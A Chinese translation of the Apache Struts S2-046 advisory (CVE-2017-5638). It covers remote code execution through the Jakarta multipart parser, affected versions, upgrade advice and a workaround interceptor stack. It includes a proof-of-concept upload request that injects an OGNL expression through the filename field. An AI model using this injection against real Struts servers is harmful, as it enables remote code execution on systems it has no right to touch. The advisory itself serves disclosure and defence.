概要

基于Jakarta Multipart解析器执行文件上传时可能的RCE(类似于S2-045)

谁应该读这个 所有Struts 2开发人员和用户
漏洞影响 基于Jakarta Multipart解析器执行文件上传时可能的RCE
漏洞评级 危急
修复建议 升级到Struts 2.3.32或Struts 2.5.10.1
受影响的软件 Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10
报告者 Chris Frohoff <cfrohoff at qualcomm dot com>,Nike Zheng <nike dot zheng at dbappsecurity dot com dot cn>,Alvaro Munoz <alvaro dot munoz at hpe dot com>
CVE-ID CVE-2017-5638

问题

可能执行具有恶意Content-Disposition值或Content-Length头部不正确的RCE攻击。 如果Content-Dispostion / Content-Length值无效,则抛出异常,然后用于向用户显示错误消息。 这是针对S2-045(CVE-2017-5638)中描述的相同漏洞的不同向量。

如果您使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版。

后期兼容性

预期不会有向后兼容性问题。

触发条件

1.上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。

2.文件名内容构造恶意的OGNL内容。

S2-046PoC:

POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom 
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

解决方法

您可以切换到Multipart解析器的不同实现。 我们已经准备了两个插件,可以作为一个插件解决方案,请在这里找到他们【点击查看】。 您可以在运行Apache Struts 2.3.8 - 2.5.5(在使用默认的雅加达多部分解析器的情况下)或Apache Struts 2.3.20 - 2.5.5(使用备用的jakarta-stream多部分解析器 )。

另一个选择是从堆栈中删除文件上传拦截器,只需定义自己的自定义堆栈并将其设置为默认值 - 请阅读 我们如何配置一个Interceptor用于每个Action。 这将只适用于Struts 2.5.8 - 2.5.10。

<interceptors>
    <interceptor-stack name="defaultWithoutUpload">
        <interceptor-ref name="exception"/>
        <interceptor-ref name="alias"/>
        <interceptor-ref name="servletConfig"/>
        <interceptor-ref name="i18n"/>
        <interceptor-ref name="prepare"/>
        <interceptor-ref name="chain"/>
        <interceptor-ref name="scopedModelDriven"/>
        <interceptor-ref name="modelDriven"/>
        <interceptor-ref name="checkbox"/>
        <interceptor-ref name="datetime"/>
        <interceptor-ref name="multiselect"/>
        <interceptor-ref name="staticParams"/>
        <interceptor-ref name="actionMappingParams"/>
        <interceptor-ref name="params"/>
        <interceptor-ref name="conversionError"/>
        <interceptor-ref name="validation">
            <param name="excludeMethods">input,back,cancel,browse</param>
        </interceptor-ref>
        <interceptor-ref name="workflow">
            <param name="excludeMethods">input,back,cancel,browse</param>
        </interceptor-ref>
        <interceptor-ref name="debugging"/>
    </interceptor-stack>
</interceptors>
<default-interceptor-ref name="defaultWithoutUpload"/

原文:

本文由红客学院翻译整理,参考链接:http://struts.apache.org/docs/s2-046.html?from=timeline

易霖博信息安全攻防实验室:本站部分内容来自互联网,版权归原作者所有,如不慎侵害到您的相关权益,请留言告知,我们将尽快处理,谢谢!(Part of the information in our website is from the internet.If by any chance it violates your rights,we will delete it upon notification as soon as possible.Thank you for cooperation.)